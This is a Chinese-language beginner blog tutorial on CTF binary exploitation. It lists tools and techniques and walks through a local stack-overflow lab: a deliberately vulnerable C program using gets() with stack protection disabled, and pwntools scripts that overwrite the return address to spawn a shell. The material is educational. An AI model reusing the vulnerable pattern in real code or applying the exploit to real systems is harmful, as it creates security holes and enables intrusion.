pwn for beginner

First Post:

Last Update:

Word Count:
2.2k

Read Time:
9 min

二进制pwn方向入门

0x0 What is the pwn?

​ pwn是一个黑客语法的俚语词 ,是指攻破设备或者系统。发音类似“砰”,对黑客而言,这就是成功实施黑客攻击的声音——砰的一声,被“黑”的电脑或手机就被你操纵了 (百度百科)

​ ctf比赛,想必你已经了解过了,基本方向就分为 web, pwn, reverse, misc, crypto, android, blockchain, 但主要方向为两个web安全和二进制安全, 那么pwn呢就属于二进制安全的一个分支, pwn的话入门确实相比其他方向的难度要高一点, 基本上ctf的各大比赛pwn与web都占主导位置, ctf的awd模式只有web和pwn, 所以pwn在ctf领域, 是个很不错的选择方向。pwn是二进制漏洞挖掘与利用, 那么在实际中, 各大服务器软件中经常曝出缓冲区溢出漏洞, 有时候ctf比赛中还会直接拿最近曝的cve来出题。pwn的漏洞利用技巧与实际中的二进制安全密不可分。那么该怎么入门pwn呢, 接下来我来为你即将入门的pwn手详细讲解。

0x1 pwn入门学习准备

linux学习

​ 先学会使用虚拟机装一下linux系统, 推荐先试试装一下 ubuntu16

​ 了解linux的程序装载和执行

​ 了解linux的elf格式

​ 了解一下程序的堆栈结构

c / c++语言学习

​ 基本语法的与简单正向编写

python语言学习

​ 基本语法就行, 为以后写exp

汇编语言学习

​ 学一下简单的x86_64汇编指令, 读懂一些简单的就行

简单逆向

​ 熟悉使用ida软件逆一下简单的程序, 可以先逆一下linux的elf程序

0x2 工具篇

工欲善其事,必先利其器。以下工具是pwn需要用的.

ida : 反汇编绝佳利器, 以后想为程序打patch, 也可以使用它

pwntools: 用于在python下写pwn利用脚本的库

pwndbg: 基于python与gdb更直观的调试工具, 方便调试程序

ROPgadget: 查找偏移的利器

以上是pwn必备的工具.

下面是入门后的工具:

one_gadget: 获取libc的one gadget, 入门之后再了解

seccomp: 沙箱检测工具, 入门之后再了解

pwn docker: 已经搭建好的pwn docker镜像, 不用手动搭建pwn环境, 入门之后再换环境吧

0x3 经典常见技巧学习

stack

​ basic stack overflow

​ leak cannary

​ ret2text

​ ret2shellcode

​ ret2syscall

​ ret2libc

​ rop

​ row

​ ret2dl-resolve

fmt

​ leak (libc , stack, elf)

​ leak anything anywhere

​ modify anything anywhere

​ use it no stack

heap

basic heap overflow

fastbin attack

unlink

house of einherjar

off by one

off by null

unsorted bin attack

uaf (libc.so.2.27 and libc.so.2.23)

house of roman

house of orange

house of *…

ohters

python sandbox escape

iofile attack

hijack hook (malloc_hook, realloc_hook, free_hook….)

hijack elf got table

hijack ld got table

leak libc by print got

leak libc by modify IO_2_1_stdout struct

….

0x4 入门实例

这里默认你已经学会了基本的入门准备, pwn环境搭建我也不必多说了吧,百度或者google一下,看别人是怎么搭建pwn环境的。 那一下内容为最简单的stack overflow, 先了解一下stack overflow的劫持实验。

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
void vul() {
char arr[16];
gets(arr);
}
int main(){
vul();
printf("no error\n");
return 0;
}

保存为a.c 尝试编译一下

1
2
3
4
5
gcc a.c -o pwn
./pwn
asdfasdfasdfadsjfasdkjfsd
*** stack smashing detected ***: terminated
fAborted (core dumped)

执行输入超过15个字符就会发现, 不会执行到printf(“no error\n”)函数, 这就是所谓的堆栈溢出漏洞, 那么有时候开发不小心的时候就会造成这种漏洞.我再来个例子。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <stdlib.h>

void vul() {
char arr[16];
gets(arr);
}
void target() {
system("sh");
}

int main(){
vul();
printf("no error\n");
return 0;
}

pwn的最终目标都是能够拥有控制权,也就是获得shell, 若我们能够通过输入劫持到target()函数, 那么我们就成功利用了该漏洞劫持程序流程到我们想要执行的代码部分, 也就是执行system函数获得shell.

编译

1
2
gcc --no-stack-protector -no-pie a.c -o pwn
./pwn

使用python 写一下exp试试, 如下:

1
2
3
4
5
6
7
8
9
#! /usr/bin/python3
from pwn import *

sh = process('./pwn') # 在本地打开程序

p = b'A' * 15 # 构造payload为15个b'A'
sh.sendline(p) # 发送payload

sh.interactive() # 与程序进行交互

保存为a.py, 执行

1
python3 a.py 

执行结果

1
2
3
4
5
6
[logan@arch ~]$ 
[+] Starting local process './pwn': pid 44257
[*] Switching to interactive mode
[*] Process './pwn' stopped with exit code 0 (pid 44257)
no error
[*] Got EOF while reading in interactive

可以发现, 程序正常退出, 既然存在堆栈溢出漏洞, 我们要如何劫持程序流程呢, 那我们只有我们修改寄存器rip就可以实现任意地址执行了,那么就要的了解一下堆栈结构, 当程序调用一个新的函数时, 将会将当前的rip执行到的地址压入堆栈储存起来, 方便函数执行完后在回到原来的执行位置,若我们可以修改这个值, 在执行完函数后就实现了修改rip, 指令就是ret, ret指令相当与pop rip.

1
2
3
4
5
6
7
8
9
10
11
rsp--->+-----------------+
| buffer |
+-----------------+
| ...... |
+-----------------+
| buffer |
+-----------------+
| last func rbp |
rbp--->+-----------------+
| ret addr |
+-----------------+

我们用gdb来调试一下

1
2
3
4
5
pwndbg stack 
00:0000│ rax r8 rsp** 0x7fffffffe5a0 ◂— 0x41414141 /* 'AAAA' */
01:0008│ 0x7fffffffe5a8 —▸ 0x401060 (_start) ◂— endbr64
02:0010│ rbp 0x7fffffffe5b0 —▸ 0x7fffffffe5c0 —▸ 0x4011a0 (__libc_csu_init) ◂— endbr64
03:0018│ 0x7fffffffe5b8 —▸ 0x401183 (main+14) ◂— lea rdi, [rip + 0xe7d]

上面我只输入了4个’A’, 若能够构造一个payload覆盖到rbp + 8处, 就可以实现劫持了, 输入24个’A’, 为啥是24呢, 数组长度为16, 然而rbp地址空间长度为8, 要溢出到ret地址, 就事先就输入24个字符。然后再输入8个’B覆盖ret 地址试试, 结果如下:

1
2
3
4
5
6
7
8
9
10
 RIP  0x401161 (vul+27) ◂— ret    
─────────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────────
0x401152 <vul+12> mov rdi, rax
0x401155 <vul+15> mov eax, 0
0x40115a <vul+20> call gets@plt <0x401050>

0x40115f <vul+25> nop
0x401160 <vul+26> leave
► 0x401161 <vul+27> ret <0x4242424242424242>

可以发现, 当执行ret指令时, 我们已经吧rip改成了0x4242424242424242

而0x42是字符’B’的储存值,若我们想要实现修改为0x01或者其他不可打印的字符, 那么手动是没法输入的, 那只能借用脚本, 将我们第一个使用的exp修改一下, 如下

1
2
3
4
5
6
7
8
9
10
11
#! /usr/bin/python3
from pwn import *

sh = process('./pwn') # 在本地打开程序

p = b'A' * 24 # 构造payload
p += b'\x12\x34\x56\x78' # 地址中储存高位在左, 内存中储存会为0x78563412
gdb.attach(sh) # gdb调试
sh.sendline(p) # 发送payload

sh.interactive() # 与程序进行交互

我们执行看看, 是否rip 修改为0x78563412呢?

1
2
3
4
5
 RBP  0x4141414141414141 ('AAAAAAAA') 
RSP 0x7fff64449e20 ◂— 0x0
RIP 0x78563412
─────────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────────
Invalid address 0x78563412

果真修改为我们预期的结果

我们使用objdump指令获取target函数的地址

1
2
objdump -S pwn | grep target
0000000000401162 <target>:

那么如果我们将rip修改为0x401162, 即可实现跳转到目标函数

修改exp如下:

1
2
3
4
5
6
7
8
9
10
#! /usr/bin/python3
from pwn import *

sh = process('./pwn') # 在本地打开程序
p = b'A' * 24 # 构造payload
p += b'\x62\x11\x40\x00\x00\x00\x00\x00' # 0x401162
gdb.attach(sh) # gdb调试
sh.sendline(p) # 发送payload

sh.interactive() # 与程序进行交互

调试运行

1
2
3
4
5
6
7
8
9
10
*RIP  0x401162 (target) ◂— push   rbp
─────────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────────
0x40115f <vul+25> nop
0x401160 <vul+26> leave
0x401161 <vul+27> ret

► 0x401162 <target> push rbp
0x401163 <target+1> mov rbp, rsp
0x401166 <target+4> lea rdi, [rip + 0xe97]
0x40116d <target+11> call system@plt <system@plt>

看到现在就运行到了target函数中, 那么就成功劫持了程序流程.好了最终exp如下:

1
2
3
4
5
6
7
8
9
10
11
#! /usr/bin/python3
from pwn import *

sh = process('./pwn') # 在本地打开程序

p = b'A' * 24 # 构造payload
p += p64(0x401162) # target函数地址
# p64函数会将数值转化为8字节的字符串'\x62\x11\x40\x00\x00\x00\x00\x00'
sh.sendline(p) # 发送payload

sh.interactive() # 与程序进行交互

运行结果:

1
2
3
4
5
[logan@arch share]$ python a.py 
[+] Starting local process './pwn': pid 45513
[*] Switching to interactive mode
$ date
Sat 12 Sep 2020 09:25:17 PM CST

0x5 常用网站推荐

若以上你能正确调试与利用成功, 那你已经开始入门了, 你需要学习更多的知识了.以下网站是我及其推荐的.

ctf-wiki : pwn的详细学习路线

攻防世界 : 从入门到高手的刷题网站与国内比赛平台

buuctf : 刷不完的pwn题网站

ctf-hub : 时刻关注各个赛事

ctf-time: 时刻关注国外赛事

libc database: 查询libc版本网站

i0gan : 本人我的blog, 多多关注其他人的博客, 可以学到很多有用的知识 ^_^

打赏点小钱
支付宝 | Alipay
微信 | WeChat